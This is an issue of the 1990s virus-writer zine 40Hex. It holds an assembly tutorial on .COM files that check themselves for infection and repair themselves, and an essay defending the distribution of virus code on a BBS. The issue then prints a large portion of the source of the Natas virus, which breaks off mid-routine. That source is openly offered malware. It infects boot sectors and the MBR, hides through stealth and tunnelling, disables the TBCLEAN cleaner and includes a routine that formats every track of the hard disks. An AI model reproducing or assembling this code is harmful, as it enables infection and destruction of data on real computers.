40Hex Number 12 Volume 3 Issue 3

40Hex Number 12 Volume 3 Issue 3                                     File 003

                Self Checking Executable Files
                                        Demogorgon  Phalcon/Skism


     In this article I will explain a method that will allow .COM files
to be immune to simple viruses.  In order to infect a .COM file, a virus
must change several bytes at the beginning of the code.  Before the
virus returns control to the original program, it will 'disinfect' it
into memory, so that the program runs as it did before infection.  This
disinfection process is crucial, because it means that the image on the
disk will not be the same as the memory image of the program.  This
article describes a method by which a .COM file can perform a self-check
by reading its disk image and comparing it to its memory image.

     The full pathname of the program that is being executed by DOS is
located in the environment block.  The segment of the environment block
can be read from the PSP.  It is located at offset [2Ch].

     The name of the program is the last entry in the environment block,
and can be located by searching for two zeros.  The next byte after the
two zeros contains the length of the string that follows it.  After the
length is an ASCIIZ string containing the pathname of the current
process.  The following code opens the file being executed:

nish:   mov     es, word ptr ds:[2Ch]   ; segment of environment
        xor     ax, ax
        mov     di, 1
loop_0: dec     di
        scasw
        jne     loop_0

        mov     dx, di
        add     dx, 2                   ; start of pathname
        push    es
        pop     ds
        mov     ax, 3D02h               ; open, read/write access
        int     21h

     Next, we must read in the file (using dos services function 3Fh,
read file or device).  We can read the file into the heap space after
the program, as long as we are sure we will not overwrite the stack. The
sample program in this file reads itself in entirely, but remember, it
is not necessary to do so. It is only necessary to read and compare the
first few bytes.  Also, the program could read itself in blocks instead
of all at once.

     If a file finds itself to be infected, it should report this to the
user.  Remember, even though the file knows it is infected, the virus
has already executed.  Memory resident viruses will already have loaded
themselves into memory, and direct action viruses will already have
infected other files on the drive.  Thus, any virus that employs
disinfection on the fly will be able to avoid detection and removal.
Here is the full source to the self checking program:


;();();();();();();();();();();();();();();();();();();();();()

.model tiny
.code
org 100h

start:  mov     es, word ptr ds:[2Ch]   ; dos environment block
        xor     ax, ax
        mov     di, 1
loop_0: dec     di
        scasw
        jne     loop_0

        mov     dx, di
        add     dx, 2                   ; <- point to current
        push    es                      ;    process name
        pop     ds
        mov     ah, 3Dh                 ; open file with handle
        int     21h
        jc      bad                     ; error opening file ?
        mov     bx, ax

        push    cs
        push    cs
        pop     es
        pop     ds                      ; I am a com file.

        mov     cx, heap - start        ; length
        lea     dx, heap                ; where to read file into
        mov     ah, 3Fh                 ; read file or device
        int     21h
        jc      bad                     ; error reading file ?

        ; here, do a byte for byte compare
        lea     si, start
        lea     di, heap

        repe    cmpsb                   ; compare 'em
        jne     bad

        lea     dx, clean
        mov     ah, 9
        int     21h
        jmp     quit_

bad:    mov     ah, 9
        lea     dx, infected
        int     21h

quit_:  mov     ax, 4C00h
        int     21h

clean    db 'Self check passed.$'
infected db 'Self check failed.  Program is probably infected.$'

heap:

end start

;();();();();();();();();();();();();();();();();();();();();()


     While some self checking routines opt to use a crc or checksum
error detection method, the byte for byte method is both faster and more
accurate.

     Weak points: This routine will not work against a stealth virus
which employs disinfection on the fly.  Such viruses take over the dos
interrupt (int 21) and disinfect all files that are opened and read
from.  As the routine in this article attempts to read itself into
memory, the stealth virus would disinfect it and write an uninfected
copy to ram.  Of course, there are ways to defeat this.  If this program
were to use some sort of tunneling, it could bypass the stealth virus
and call DOS directly.  That way, infections by even the most
sophisticated viruses would be detectable.


Disinfection:

     So, now you can write programs that will detect if they have been
infected.  How about disinfection?  This too is possible.  Most viruses
simply replace the first three bytes of the executable file with a jump
or a call, which transfers control to the virus code. Since only the
first three bytes are going to be changed (in almost all cases), it will
usually be possible for a program to disinfect itself by replacing the
first three bytes with what is supposed to be there, and then truncating
itself to the correct size.  The next program writes the entire memory
image to disk, rather than just the first three bytes.  That way, it can
be used to disinfect itself from all nonstealth viruses.

     The steps to disinfect are simple.  First of all, you must move the
file pointer back to the beginning of the file.  Use interrupt 21,
ah=42h for this.  The AL register holds the move mode, which must be 00
in this case (move from beginning of file).  CX:DX holds the 32bit
number for how many bytes to move.  Naturally, this should be 0:0.

     The second step is to write back the memory image to the file.
Since the virus has already restored the first few bytes of our program
in memory, we must simply write back to the original file, starting from
100h in the current code segment.  i.e.:

        mov     ah, 40h
        mov     cx, heap - start ; bytes to write
        lea     dx, start
        int     21h              ; write file or device

     Finally, we must truncate the file back to its original size.  To
truncate a file, we must move the file pointer to the end and call the
'write file or device' function with cx, the bytes to write, equal to
zero. To move the pointer, do this:

        mov     ax, 4200h
        mov     cx, (heap - start) SHR 16     ; high word of file ptr
        mov     dx, (heap - start)            ; low word of file ptr
        int     21h                           ; move file pointer


     Since we are dealing with .COM files here, it is safe to assume
that cx, the most significant word of the file ptr, can be set to zero,
because our entire file must fit into one segment.  We do not need to
calculate it as above.

     To truncate:

        xor     cx, cx
        mov     ah, 40h
        int     21h             ; truncate file

     The full code for the self disinfecting program follows.


;();();();();();();();();();();();();();();();();();();();();()

.model tiny
.code
org 100h

start:  mov     es, word ptr ds:[2Ch]   ; segment of environment
        xor     ax, ax
        mov     di, 1
loop_0: dec     di
        scasw
        jne     loop_0

        mov     dx, di
        add     dx, 2
        push    es
        pop     ds
        mov     ax, 3D02h               ; open, read/write access
        int     21h
        mov     bx, ax                  ; handle into bx
        push    cs
        push    cs
        pop     es
        pop     ds
        mov     cx, heap - start
        lea     dx, heap
        mov     ah, 3Fh                 ; read file or device
        int     21h
        jc      quit_                   ; can't read ?

        lea     si, start
        lea     di, heap

        repe    cmpsb                   ; byte for byte compare
        jne     bad

        lea     dx, clean               ; we are golden
        mov     ah, 9                   ; print string
        int     21h
        jmp     main_program

bad:    mov     ah, 9                   ; we are infected
        lea     dx, infected
        int     21h

        lea     dx, disinfection
        int     21h

        ; now, disinfect.  File handle is still in bx
        ; we must move the file pointer to the beginning
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4200h
        int     21h             ; move file pointer

        mov     ah, 40h         ; 40hex!
        mov     cx, heap - start
        lea     dx, start
        int     21h             ; write file or device
        jnc     success

        lea     dx, not__
        mov     ah, 9
        int     21h
success:mov     ah, 9
        lea     dx, successful
        int     21h

        xor     cx, cx
        mov     ah, 40h         ; 40hex!
        int     21h             ; truncate file

main_program:

quit_:  mov     ax, 4C00h
        int     21h

disinfection  db 0Dh, 0Ah, 'Disinfection $'
not__         db 'not '
successful    db 'successful.$'

clean         db 'Self check passed.$'
infected      db 'Self check failed.  Program is probably '
              db 'infected.$'

heap:

end start

;();();();();();();();();();();();();();();();();();();();();()

Weak points: The same weak points that apply above also apply here.
Additionally, the program may, by writing itself back to disk, give the
virus the opportunity to reinfect.  Remember, any memory resident
viruses will already have loaded into memory by the time the program
disinfects itself.  When the program tries to disinfect itself, any
virus that intercepts the 'write file or device' interrupt will
intercept this write and re-infect.  Again, tunneling is the clear
solution.

40Hex Number 12 Volume 3 Issue 3                                      File 003

    [Not so] Recently, the AIS BBS was shut down because of an anonymous
letter which stated that the AIS BBS contained and distributed virus
source code and helped system hackers develop and test malicious
programs. Now, I had been a member of AIS BBS for quite awhile, and it
is true that there was virus source code available.  The first question
I want to ask is:

"Who uploaded these viruses?"

    Hackers uploaded them.  To my knowledge there weren't that many
hackers on AIS BBS.  The majority of the users were people in the
computer and computer security industry.  By being exposed to virus
source code and hackers in general, they would be able to do their job
better and more effectively.  The anonymous person who complained about
AIS BBS clearly didn't do enough research, because if he had, he would
have realized that the people who he was worried about obtaining viruses
already had them.  I would guess that over 90% of the underground
material on AIS BBS was contributed by hackers.  Which brings me to my
next question...

"Why did hackers willingly give away their 'secrets' to the people who
have always been viewed as the enemy?"

    The main reason the hackers on AIS BBS contributed to the system was
the friendly environment for them on AIS BBS.  An important fact about
almost all hackers is that for the most part they are just like every
other person out there.  They aren't evil computer geniuses trying to
destroy everyone's vital information.  When logging into AIS BBS, a
hacker was not assaulted by rude messages, was not refered to as
a criminal, but was instead greeted as a fellow computer enthusiast.  Of
course people wanted advice from hackers, who better to secure a
computer system then one who spends countless hours trying to penetrate
them.

"Are there, or have there ever been other systems like this?"

    There have been several attempts to achieve a BBS that bridged the
gap between hackers and computer security professionals.  The first one
I had ever heard of was called Face to Face.  I am not too sure on the
success of this BBS, I only know that it wasn't that great.  On my BBS,
Landfill, I also attempted to allow the security folks to interact with
computer hackers and virus writers, with a message base called 'Security
and the Security Impaired'.  This forum allowed both sides to speak
their mind about a variety of issues, including Van Eck devices (TEMPEST),
suggestions for the improvement of currently insecure systems, and in
one example, virus writers helped one system administrator with a
rampant case of the Maltese Amoeba virus by displaying all of the
pertinent information and characteristics of the virus.  Another system
called Unphamiliar Territories also has a message base with similiar
information that is still up and running today with a substantial amount
of success!

"Who protects us if our protectors are aiding the enemy?"

    The Bureau of Public Debt has little to do with protecting our
country, and in regards to viruses, there is no agency who can protect
you from viruses.  There is however a way you can protect yourselves.
It is through awareness that you can protect your data from the damages
incurred by malicious intent.  The same awareness that the Bureau of
Public Debt was trying to make publicly available on AIS BBS.  Before
the government did it, everyone else had already done it.  This fact may
alarm some people, but I would estimate that there are well over 200
other systems in the United States alone that currently distribute virus
code to people who very well could end up distributing it to other
people without their consent.  I am a tax paying citizen of the USA, and
I know I would rather hear that we spend a couple hundred dollars
educating the public on computer viruses then hear about the thousands
of dollars in damage done by miscellaneous computer viruses that hit
companies and wipe out all their data.  By closing down AIS BBS, the
door for virus writers to obtain virus source remains wide open, while
the people who could find the information valuable, if not necessary for
their jobs, just had the only door open to them slammed shut and locked,
maybe forever.  It is hard to tell who hurts us more - Those who make it
harder for computer users to protect themselves, or those who sit in
blind ignorance.

                                -> GHeap
;Natas Virus
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
;Tunnels
;Does other stuff
;2 files -- v1eng.asm = virus  eng.asm = Engine


----------------<>--------------------------------------------------

.model  tiny
.code

file_size       equ     file_end - v_start
sect_size       equ     (decrypt - v_start + 511) / 512
para_size       equ     (v_end - v_start + 15) / 16
kilo_size       equ     (v_end - v_start + 1023) / 1024

find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
find_13         equ     tracer_13 - (trace_mode + 1)
find_15         equ     tracer_15 - (trace_mode + 1)
find_21         equ     tracer_21 - (trace_mode + 1)
find_40         equ     tracer_40 - (trace_mode + 1)
step_21         equ     tracer_step_21 - (trace_mode + 1)

loader_size     equ     loader_end - loader

no_hook_21      equ     new_13_next - (hook_21 + 1)
yes_hook_21     equ     check_21 - (hook_21 + 1)

boot            equ     0
file            equ     1

years           equ     100 shl 1


v_start:        jmp     decrypt
                
                ; push    cs
                ; pop     ds
                ; call    copy_ints
                dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
                mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
                mov     ds:origin,al            ; (0=boot) remeber host
                mov     es,ax                   ; ES=0
                pop     di
                sub     di,3                    ; address of loader in boot
                push    ax di                   ; save return address 0:xxxx
                mov     si,offset boot_code
                call    move_boot_code1         ; copy and decode boot code
                mov     al,13h
                mov     dx,offset new_13
                call    set_int                 ; hook int 13h
                call    inf_hard                ; infect drive C:
                test    byte ptr ds:load_head,dl ; DL=80h drive C:?
                je      boot_retf
                mov     ax,1ffh
                call    random                  ; time to activate?
                jne     boot_retf
                jmp     kill_disk

boot_retf:      retf                            ; return to boot sector
                
;=====( Copy boot code and (en/de)crypt it )=================================;

move_boot_code1:mov     ah,ds:[si - 1]          ; get key
move_boot_code: mov     cx,loader_size
                cld
move_boot_loop: lodsb
                xor     al,ah                   ; code/decode
                rol     ah,1
                stosb
                loop    move_boot_loop
                retn
                
;=====( Code that was in boot sector before infection )======================;

boot_code_key   db      ?
boot_code:      db      loader_size dup(?)

;=====( Gets inserted into infected Boot sectors/MBRs )======================;

loader:         call    $ + 3
                mov     di,40h
                mov     ds,di
                sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
                mov     ax,ds:[di-(40h-13h)]
                mov     cl,0ah
                ror     ax,cl                   ; get TOM address
                mov     es,ax
                mov     ax,200h + sect_size
                xor     bx,bx
                mov     cx,0
load_sect       =       $ - 2
                mov     dx,0
load_head       =       $ - 2
                int     13h                     ; read code into memory
                jb      load_fail
                push    es bx                   ; address of high code
                retf
load_fail:      int     18h
loader_end:

;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;

copy_ints:      push    ds
                xor     ax,ax
                mov     ds,ax                   ; segment 0
                mov     si,13h * 4h
                mov     di,offset int_13
                push    si si
                movsw
                movsw                           ; int 13h to int_13
                pop     si
                movsw
                movsw                           ; int 13h to dos_13
                mov     si,15h * 4h
                movsw
                movsw                           ; int 15h to int_15
                pop     si                      ; address of int 13h's IVT
                cmp     byte ptr ds:[475h],al   ; any hard disks?
                je      copy_int_40
                mov     si,40h * 4h
copy_int_40:    movsw
                movsw                           ; copy int 13h/40h to int_40
                mov     si,21h * 4h
                movsw
                movsw                           ; int 21h to int_21
                pop     ds
                retn

;=====( get interrupt address )==============================================;

get_int:        push    ax
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    bx,ax
                xor     ax,ax
                mov     es,ax
                les     bx,es:[bx]              ; get int address
                pop     ax
                retn

;=====( Set interrupt address )==============================================;

set_int:        push    ax bx ds
                xor     ah,ah
                rol     ax,1
                rol     ax,1
                xchg    ax,bx
                xor     ax,ax
                push    ds
                mov     ds,ax
                mov     ds:[bx],dx
                pop     ds:[bx + 2]
                pop     ds bx ax
                retn
                

push_all:       pop     cs:push_pop_ret
                pushf
                push    ax bx cx dx bp si di ds es
                mov     bp,sp
push_pop_jmp:   jmp     cs:push_pop_ret

pop_all:        pop     cs:push_pop_ret
                pop     es ds di si bp dx cx bx ax
                popf
                jmp     push_pop_jmp

;=====( Infect Drive C: )====================================================;

inf_hard:       push    cs cs
                pop     es ds
                mov     ax,201h
                mov     bx,offset disk_buff
                mov     cx,1
                mov     dx,80h
                call    call_13                 ; read MBR of drive C:
                jb      cant_inf_hard
                cmp     ds:[bx.pt_start_head],ch ; Jackal?
                je      cant_inf_hard
                mov     cx,ds:[bx.pt_end_sector_track]
                and     cx,0000000000111111b    ; get sector count
                sub     cx,sect_size
                jbe     cant_inf_hard
                cmp     cl,1                    ; too few sectors?
                jbe     cant_inf_hard
                call    copy_loader             ; copy loader into MBR
                jb      cant_inf_hard
                push    bx
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_13                 ; write code to hidden sectors
                pop     bx
                jb      cant_inf_hard
                mov     ax,301h
                mov     cl,1
                call    call_13                 ; write infected MBR
cant_inf_hard:  retn   

;=====( Copy Loader into disk_buff (BX) )====================================;

copy_loader:    push    cx dx
                cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
                jne     copy_load_no
                mov     di,offset boot_code
                mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
                and     dl,80h                          ; Drive C: or A:
                mov     ds:[di+load_head-boot_code],dx  ; save head/disk
                call    find_boot               ; find code/already infected?
                je      copy_load_no
                call    random_1                ; get random key
                mov     ds:[di - 1],ah          ; save key at boot_code_key
                push    si
                call    move_boot_code          ; save boot code and encrypt
                mov     si,di                   ; offset of loader
                pop     di                      ; boot code pointer
                mov     cx,loader_size
                rep     movsb                   ; copy loader into boot sect
                clc
                mov     al,0
                org     $ - 1
copy_load_no:   stc
                pop     dx cx
                retn   
                
;=====( Find start of boot sector's code )===================================;

find_boot:      mov     si,bx
                cld
                lodsb                           ; get 1st instruction
                push    ax
                lodsw                           ; Jump displacement (if jump)
                xchg    cx,ax
                pop     ax
                cmp     al,0ebh                 ; Short jump?
                jne     find_boot_jump
                xor     ch,ch                   ; 8bit jump
                dec     si
                jmp     find_boot_add
find_boot_jump: cmp     al,0e9h                 ; Near Jump?
                je      find_boot_add
find_boot_noadd:xor     cx,cx                   ; No displacement
                mov     si,bx
find_boot_add:  add     si,cx                   ; si=start of boot code
                cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
                                                ; jump out of range?
                jnb     find_boot_noadd
                cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
                jne     find_boot_ret
                cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
find_boot_ret:  retn

;=====( Disable TBCLEAN )====================================================;

anti_tbclean:   xor     ax,ax
                pushf
                pop     dx
                and     dh,not 1                ; TF off
                push    dx dx
                popf
                push    ss
                pop     ss
                pushf                           ; Not trapped
                pop     dx
                test    dh,1                    ; TF set?
                pop     dx
                je      anti_tb_ret
                push    es
                xor     bp,bp
                mov     cx,ss
                cli
                mov     ss,bp                   ; segment 0
                les     di,ss:[bp+1h*4h]        ; address of int 1h
                mov     ss,cx
                sti
                mov     al,0cfh
                cld
                stosb                           ; IRET -> Int 1h
                pop     es
                push    dx
                popf
anti_tb_ret:    xchg    bp,ax                   ; save result
                retn

;=====( Swap jump into DOS' int 13h )========================================;

swap_13:        call    push_all
                mov     si,offset jump_code_13
                les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
                jmp     swap_code

;=====( Swap jump into DOS' int 21h )========================================;

swap_21:        call    push_all
                mov     si,offset jump_code_21
                les     di,cs:[si+int_21-jump_code_21]
swap_code:      push    cs
                pop     ds
                mov     cx,5
                cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
                je      swap_end
                cld
swap_loop:      lodsb
                xchg    al,es:[di]
                mov     ds:[si-1],al
                inc     di
                loop    swap_loop
swap_end:       call    pop_all
                retn

;=====( Find original interrupt entry points )===============================;

find_ints:      call    copy_ints               ; get interrupt addresses
                mov     ah,52h
                int     21h
                mov     ax,es:[bx-2]
                mov     ds:dos_seg,ax           ; 1st MCB segment
                mov     al,1h
                call    get_int                 ; get address of int 1h
                push    bx es
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                pushf
                pop     si
                mov     di,offset trace_mode
                mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
                                                      ; and BIOS
                mov     ah,1h
                call    si_tf                   ; set TF
                call    call_13
                mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
                mov     ah,0c0h
                call    si_tf                   ; set TF
                pushf
                call    ds:int_15   
                mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
                mov     ah,30h
                call    si_tf                   ; set TF
                call    call_21
                mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
                mov     ah,1
                call    si_tf                   ; set TF
                call    call_40
                and     si,not 100h
                push    si
                popf                            ; disable Trapping
                pop     ds dx
                mov     al,1
                call    set_int                 ; unhook int 1h
                retn

;=====( Set TF in SI, then set flags to SI )=================================;

si_tf:          or      si,100h
                push    si
                popf
                retn

;=====( Tracing/Tunneling )==================================================;

tracer:         push    ds
                push    cs
                pop     ds
                mov     ds:old_di,di
                mov     di,offset old_ax
                mov     ds:[di],ax
                mov     ds:[di+old_bx-old_ax],bx
                mov     ds:[di+old_cx-old_ax],cx
                mov     ds:[di+old_dx-old_ax],dx
                pop     ds:[di-(old_ax-old_ds)]
                pop     bx cx dx                ; get IP, CS and Flags
                mov     ax,cs
                cmp     ax,cx                   ; In our CS?
                jne     $
trace_mode      =       byte ptr $ - 1
                jmp     tracer_iret

tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
                jnb     tracer_cont
                mov     di,offset dos_13
                mov     ds:trace_mode,find_13   ; find it in BIOS next
                jmp     tracer_save_f

tracer_21:      cmp     cx,1234h                ; In DOS code?
dos_seg         =       word ptr $ - 2
                jnb     tracer_cont
                mov     di,offset int_21
tracer_save:    and     dh,not 1                ; TF off
tracer_save_f:  mov     ds:[di],bx
                mov     ds:[di + 2],cx          ; save address of int
                jmp     tracer_cont

tracer_15:      mov     di,offset int_15
                jmp     tracer_bios

tracer_40:      mov     di,offset int_40
                jmp     tracer_bios
                
tracer_13:      mov     di,offset int_13
tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
                jb      tracer_cont
                cmp     ch,0f4h                 ; Above BIOS?
                jb      tracer_save
                jmp     tracer_cont

tracer_step_21: dec     ds:inst_count           ; down counter
                jne     tracer_cont
                push    dx
                mov     al,1
                lds     dx,ds:int_1             ; get int 1h address
                call    set_int
                call    swap_21                 ; insert int 21h jump
                pop     dx
                and     dh,not 1h               ; TF off

tracer_cont:    test    dh,1                    ; TF on?
                je      tracer_iret
get_inst:       mov     ds,cx                   ; instruction CS
                xor     di,di
get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
                cmp     al,0f0h                 ; LOCK
                je      skip_prefix
                cmp     al,0f2h                 ; REPNE
                je      skip_prefix
                cmp     al,0f3h                 ; REPE?
                je      skip_prefix
                cmp     al,9ch                  ; PUSHF or above?
                jae     emulate_pushf
                and     al,11100111b            ; 26,2e,36,3e = 26
                cmp     al,26h                  ; Segment Prefix?
                jne     tracer_iret
skip_prefix:    inc     di
                jmp     get_inst1

emulate_pushf:  jne     emulate_popf
                and     dh,not 1                ; TF off
                push    dx                      ; fake PUSHF
emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
emulate_tf:     or      dh,1                    ; TF on
                jmp     get_inst

emulate_popf:   cmp     al,9dh                  ; POPF?
                jne     emulate_iret
                pop     dx                      ; fake POPF
                jmp     emulate_next

emulate_iret:   cmp     al,0cfh                 ; IRET?
                jne     emulate_int
                pop     bx cx dx                ; fake IRET
                jmp     emulate_tf

emulate_int:    cmp     al,0cdh                 ; Int xx
                je      emulate_int_xx
                cmp     al,0cch                 ; Int 3?
                mov     ah,3
                je      emulate_int_x
                cmp     al,0ceh                 ; Into?
                mov     ah,4
                jne     tracer_iret
                test    dh,8                    ; OF set?
                je      tracer_iret
emulate_int_x:  dec     bx                      ; [bx+di+2-1]
emulate_int_xx: and     dh,not 1                ; TF off
                lea     bx,ds:[bx + di + 2]     ; get return address
                push    dx cx bx                ; fake Int
                mov     al,ah                
                push    es
                call    get_int                 ; get interrupt address
                mov     cx,es
                pop     es
                jmp     emulate_tf

tracer_iret:    push    dx cx bx                ; save flags, cs & ip
                mov     ax,0
old_ds          =       word ptr $ - 2
                mov     ds,ax
                mov     ax,0
old_ax          =       word ptr $ - 2
                mov     bx,0
old_bx          =       word ptr $ - 2
                mov     cx,0
old_cx          =       word ptr $ - 2
                mov     dx,0
old_dx          =       word ptr $ - 2
                mov     di,0
old_di          =       word ptr $ - 2
                iret

;=====( file infections come here after decryption )=========================;

file_start:     push    ds                      ; save PSP segment
                call    $ + 3
                pop     si
                sub     si,offset $ - 1
                call    anti_tbclean            ; disable TBCLEAN
                or      bp,bp                   ; TBCLEAN active?
                jne     go_res
                mov     ah,30h
                mov     bx,-666h
                int     21h
                cmp     al,3h                   ; must be DOS 3+
                jb      jump_host
go_res:         mov     ax,es
                dec     ax
                mov     ds,ax
                xor     di,di
                or      bp,bp                   ; TBCLEAN here?
                jne     dont_check_mcb
                cmp     byte ptr ds:[di],'Z'    ; Last Block?
                jne     jump_host
dont_check_mcb: mov     ax,para_size
                sub     ds:[di + 3],ax          ; from MCB
                sub     ds:[di + 12h],ax        ; from PSP
                mov     es,ds:[di + 12h]        ; get memory address
                mov     ds,di
                sub     word ptr ds:[413h],kilo_size ; from int 12h
                mov     cx,jump_code_13-v_start
                cld
                rep     movs byte ptr es:[di],byte ptr cs:[si]  
                mov     ax,offset high_code
                push    es ax
                retf

jump_host:      push    cs
                pop     ds
                pop     es                      ; PSP segment
                lea     si,ds:[si + header]     ; get address of header
                mov     ax,ds:[si]              ; get 1st instruction
                cmp     ax,'ZM'                 ; EXE?
                je      jump_2_exe
                cmp     ax,'MZ'                 ; EXE?
                je      jump_2_exe
                mov     cx,18h / 2
                mov     di,100h
                push    es di
                cld
                rep     movsw                   ; repair .COM file
                push    es
                pop     ds
                xchg    ax,cx
                retf
                
jump_2_exe:     mov     ax,es
                add     ax,10h
                add     ds:[si.eh_cs],ax
                add     ax,ds:[si.eh_ss]        ; get SS/CS
                push    es
                pop     ds
                cli
                mov     ss,ax
                mov     sp,cs:[si.eh_sp]
                xor     ax,ax
                sti
                jmp     dword ptr cs:[si.eh_ip]


high_code:      push    cs
                pop     ds
                mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
                mov     ax,2
                call    random                  ; 1 in 3 chance of no stealth
                                                ; on special programs
                mov     ds:check_special,al
                mov     ds:hook_21,no_hook_21   ; dont hook int 21h
                mov     al,0eah
                stosb                           ; store at jump_code_13
                mov     ds:[di+4],al
                mov     ax,offset new_13
                stosw
                mov     word ptr ds:[di+3],offset new_21
                mov     ds:[di],cs
                mov     ds:[di+5],cs
                push    di
                call    find_ints               ; trace interrupts
                pop     di
                push    cs
                pop     ds
                mov     ax,ds:dos_seg
                cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
                                                ; found DOS' int 13h?
                ja      call_inf_hard
                cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
                                                ; found DOS' int 21h?
                ja      call_inf_hard
                call    swap_13
                call    swap_21                 ; insert jumps into DOS
call_inf_hard:  call    inf_hard                ; infect drive C:
                or      bp,bp                   ; ZF -> No TBCLEAN
                mov     si,bp                   ; SI=0 if goto jump_host
                jne     kill_disk
                jmp     jump_host

kill_disk:      xor     bx,bx
                mov     es,bx                   ; table to use for format
                mov     dl,80h                  ; Drive C:
kill_next_disk: xor     dh,dh                   ; head 0
kill_next_track:xor     cx,cx                   ; track 0             
kill_format:    mov     ax,501h
                call    call_disk               ; format track
                and     cl,11000000b
                inc     ch                      ; next track low
                jne     kill_format
                add     cl,40h                  ; next track high
                jne     kill_format
                xor     ah,ah
                int     13h                     ; reset disk
                inc     dh                      ; next head
                cmp     dh,10h
                jb      kill_next_track
                inc     dx                      ; next drive
                jmp     kill_next_disk

;=====( Interrupt 13h handler )==============================================;

new_13:         jmp     $
hook_21         =       byte ptr $ - 1

check_21:       call    push_all
                mov     al,21h
                call    get_int                 ; get int 21h address
                mov     ax,es
                push    cs cs
                pop     ds es
                cmp     ax,800h                 ; too high?
                ja      cant_hook_21
                mov     di,offset int_21 + 2
                std
                xchg    ax,ds:[di]              ; swap addresses
                scasw                           ; did it change?
                je      cant_hook_21
                mov     ds:[di],bx
                mov     al,21h
                mov     dx,offset new_21
                call    set_int                 ; hook int 21h
                mov     ds:hook_21,no_hook_21
cant_hook_21:   call    pop_all

new_13_next:    cmp     ah,2h                   ; Read?
                jne     jump_13
                cmp     cx,1                    ; track 0, sector 1?
                jne     jump_13
                or      dh,dh                   ; head 0?
                je      hide_boot
jump_13:        call    call_dos_13
                retf    2h


hide_boot:      call    call_dos_13             ; read boot sector
                call    push_all
                jb      hide_boot_err
                push    es cs
                pop     es ds
                mov     cx,100h
                mov     si,bx
                mov     di,offset disk_buff
                mov     bx,di
                cld
                rep     movsw                   ; copy boot sector to buffer
                push    cs
                pop     ds
                call    find_boot               ; find start/already infected?
                jne     inf_boot
                mov     ax,201h
                mov     cx,ds:[si+load_sect-loader]
                mov     dh,byte ptr ds:[si+(load_head+1)-loader]
                                                ; get code location
                call    call_disk               ; read virus code
                jb      hide_boot_err
                mov     ax,ds:[0]
                cmp     ds:[bx],ax              ; verify infection
                jne     hide_boot_err
                mov     di,ss:[bp.reg_bx]
                mov     es,ss:[bp.reg_es]       ; get caller's buffer
                sub     si,bx                   ; displacement into boot sect.
                add     di,si                   ; address of loader
                lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
                call    move_boot_code1         ; hide infection
hide_boot_err:  call    pop_all
                retf    2h

inf_boot:       cmp     dl,80h                  ; hard disk?
                jnb     hide_boot_err
                mov     ax,301h
                mov     cx,1
                call    call_disk               ; Write boot sector to disk
                                                ; CY -> Write-Protected
                jb      hide_boot_err
                mov     si,dx                   ; save drive #
                mov     di,bx
                mov     ax,ds:[di.bs_sectors]   ; get number of sectors
                mov     cx,ds:[di.bs_sectors_per_track]
                sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
                mov     ds:hide_count,cx
                xor     dx,dx
                or      ax,ax                   ; error?
                je      hide_boot_err
                jcxz    hide_boot_err
                div     cx
                or      dx,dx                   ; even division?
                jne     hide_boot_err
                mov     bx,ds:[di.bs_heads]     ; get number of heads
                or      bx,bx
                je      hide_boot_err
                div     bx
                or      dx,dx
                jne     hide_boot_err
                dec     ax
                mov     ch,al                   ; last track
                mov     cl,1                    ; sector 1
                dec     bx
                mov     dx,si                   ; drive
                mov     dh,bl                   ; last head
                mov     bx,di                   ; offset disk buffer
                call    copy_loader             ; Copy loader into Boot sector
                jb      hide_boot_err
                mov     ax,300h + sect_size
                xor     bx,bx
                call    call_disk
                jb      hide_boot_err
                mov     ax,301h
                mov     bx,offset disk_buff
                mov     cx,1
                xor     dh,dh
                call    call_disk               ; write boot sector to disk
                mov     bx,ss:[bp.reg_bx]
                mov     ds,ss:[bp.reg_es]       ; get caller's buffer
                sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count      =       word ptr $ - 2
                jmp     hide_boot_err

;=====( Interrupt 21h handler )==============================================;

new_21:         cli
                mov     cs:int_21_ss,ss
                mov     cs:int_21_sp,sp         ; save stack pointers
                push    cs
                pop     ss
                mov     sp,offset temp_stack    ; allocate stack
                sti
                call    push_all
                in      al,21h
                or      al,2                    ; disable keyboard
                out     21h,al
                push    cs
                pop     ds
                mov     di,offset new_24
                mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
                mov     al,24h
                call    get_int                 ; get address of int 24h
                mov     word ptr ds:[di-(new_24-int_24)],bx
                mov     word ptr ds:[di-(new_24-(int_24+2))],es
                mov     word ptr ds:[di],03b0h  ; MOV AL,3
                mov     byte ptr ds:[di+2],0cfh ; IRET
                mov     dx,di
                call    set_int                 ; hook int 24h
                call    pop_all
                call    swap_21                 ; remove jump from int 21h
                call    push_all
                cmp     ah,30h                  ; get DOS version?
                jne     is_dir_fcb
                add     bx,666h                 ; looking for us?
                jnz     is_dir_fcb
                mov     ss:[bp.reg_ax],bx       ; set DOS version=0
                mov     ss:[bp.reg_bx],bx
                jmp     retf_21

is_dir_fcb:     cmp     ah,11h
